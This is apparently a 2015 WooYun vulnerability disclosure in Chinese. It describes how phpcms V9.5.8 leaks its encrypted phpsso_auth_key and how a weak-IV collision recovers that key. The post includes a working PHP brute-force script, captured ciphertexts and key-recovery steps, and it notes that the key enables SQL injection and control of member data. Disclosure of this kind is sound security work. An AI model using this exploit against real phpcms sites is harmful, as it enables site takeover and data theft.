当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091314

漏洞标题:phpcmsV9.5.8 设计缺陷可获取phpsso_auth_key(可用于sql注入等)

相关厂商:phpcms

漏洞作者: roker

提交时间:2015-01-12 10:37

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-13: 细节向核心白帽子及相关领域专家公开
2015-03-23: 细节向普通白帽子公开
2015-04-02: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

rt

详细说明:

@索马里的海贼
@Map
向前辈致敬。:)
-----------------------------------------------------------------------------------------
回顾前两个漏洞,
WooYun: PHPCMS V9 一个为所欲为的漏洞
WooYun: phpcms最新版绕过全局防御暴力注入(官网演示)
皆是由于 密钥 的泄露所造成的。 第一个漏洞 直接输出了phpsso_auth_key。第二个则是 输出了加密了的auth_key ,然后根据算法弱IV的缺陷进行了还原。
这次的漏洞则是 泄露了 加密了的phpsso_auth_key。
----------------------------------------------------------------------------------------
/phpcms/modules/member/index.php

public function account_manage_avatar() {
$memberinfo = $this->memberinfo;
//初始化phpsso
$phpsso_api_url = $this->_init_phpsso();
$ps_auth_key = pc_base::load_config('system', 'phpsso_auth_key');
$auth_data = $this->client->auth_data(array('uid'=>$this->memberinfo['phpssouid'], 'ps_auth_key'=>$ps_auth_key), '', $ps_auth_key); //传入了 phpsso_auth_key
$upurl = base64_encode($phpsso_api_url.'/index.php?m=phpsso&c=index&a=uploadavatar&auth_data='.$auth_data);
//获取头像数组
$avatar = $this->client->ps_getavatar($this->memberinfo['phpssouid']);

include template('member', 'account_manage_avatar');
}


继续跟到auth_data
/phpcms/modules/member/classes/client.class.php

public function auth_data($data) {
$s = $sep = '';
foreach($data as $k => $v) {
if(is_array($v)) {
$s2 = $sep2 = '';
foreach($v as $k2 => $v2) {
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$sep2 = '&';
}
$s .= $sep.$s2;
} else {
$s .= "$sep$k=".$this->_ps_stripslashes($v);
}
$sep = '&';
}
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
return $auth_s;
}


将 uid=x&ps_auth_key=phpsso_auth_key 这串数据 加密后 通过模板输出了。
访问 http://localhost/index.php?m=member&c=index&a=account_manage_avatar&t=1

1.jpg


base64解码后

2.png


data=后面的字符串即为

uid=x&ps_auth_key=phpsso_auth_key

通过$this->sys_auth所加密后的数据。而在 /phpcms/modules/member/classes/client.class.php 中的sys_auth 其默认key 为 phpsso_auth_key。
我们再找一处 已知明文的用 phpsso_auth_key 这个密钥所加密的数据。由于弱iv可碰撞,我们就可以得到 phpsso_auth_key 的值。
在前台登入时,phpcms会向 api/phpsso.php 发送会员数据 用以支持 单点登录。而这个数据正是由phpsso_auth_key 这个密钥所加密的。
在登入时抓包

1.jpg


api.php?op=phpsso&time=1421015883&code=84dfA1QJAgkCUgkCUQZVBgJQUANTCFBQUwIKUlFQWkdRCg8OF0BcVV0FUFxHQ0QHQlgDWgcFQhQNAAQCREFYQEsSDkEABBRNWw9cD1ACBVMAB1cPWgtcVQAC


code 后面的 密文所对应的明文格式为

action=synlogin&username=&uid=x&password=&time=time()


time() 就在 我们抓的包里的 time参数所对应的值 ,uid 在我们的会员头像的路径中可以看到

1.jpg


WooYun: phpcms最新版绕过全局防御暴力注入(官网演示) 的原理一样,多登入几次,获取足够的code。

<?php
$url = "http://localhost/index.php?m=member&c=index&a=account_manage_avatar&t=1";
$txt = '#"(.*?)&callback#';
$t=strlen($url)-54+83;
$code = array('bc9d','4213','91ed','452c','7499','19c8','d548','e399','84df','f451');
$i=0;
for(;;){
$data = doGet($url);
preg_match_all($txt, $data, $txts);
$txts = substr(base64_decode($txts[1][0]),$t);
if (in_array(substr($txts,0,4), $code)){
die($txts);
}
$i++;
echo $i."--".substr($txts,0,4)."\n";
}

function doGet($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
$header[]= 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, text/html, * '. '/* ';
$header[]= 'Accept-Language: zh-cn ';
$header[]= 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 ';
$header[]= 'Host: localhost';
$header[]= 'Connection: Keep-Alive ';
$header[]= 'Cookie: PHPSESSID=2dl8157fhsorqc8s75m2tos2e7; drcvo_auth=005bAgUDVQJUUwUJAQUCUVYGUwFWAVIGAwYFCVFSVQQFIzBncmY0YyUhY2B2ZQYrYHUlEHBoJ3J3b2ZlcmJ2YWA0IFF2USN7JSJkfHxmNwJxdRQHZGgReWZiAVN9YmZTayUKdFdyAmMqNXRsdWYnKHFhJSp0ZgEDAAJS; drcvo__userid=1752UgdVVgBSCQcHUgMCVQtfVlFYC1oGUl5YAFYCV1RWVA; drcvo__username=b5f1BgQFBlZVVlRWBVIFAF8HVAQCUVQBVQAFWVUHUVhRVgRUAVMH; drcvo__groupid=db1fUwEFUwUICFNRAwEEV1BaVFEBDQBXU1ZQB1IDVgRXUA; drcvo__nickname=758aBwVRCARRBVFUAQBRAgJTBl1VCgwDBVBWVFlZU1IBVFlW';
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
?>


需注意的是 User-Agent 和 cookie 不要填错了。

1.png


找到 code为7499开头的

1.jpg


填入poc(注意time 和 uid)

1.jpg


得到 ce8e83e7d1g15d1b01f46d<fa492cdefce8e83e7d157ae10c7ff468a4792cdefce8e83e7d157ae10c7f
分段得

ce8e83e7d1g15d1b01f46d<fa492cdef
ce8e83e7d157ae10c7ff468a4792cdef
ce8e83e7d157ae10c7f


中间那个即为 keyd了,接下来就是解密 phpsso_auth_key 了

1.jpg


去掉后四位就是 phpsso_auth_key 了。
拿到phpsso_auth_key 后能做的事情太多了,在api/phpsso.php这个文件里面 我们控制 action的值 就能操作全站的会员数据。
当然 也可以注入。修改cookie并访问。

1.jpg


漏洞证明:

1.jpg


修复方案:

你们更专业

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2015-01-19:擦。谁给忽略了?太不地道了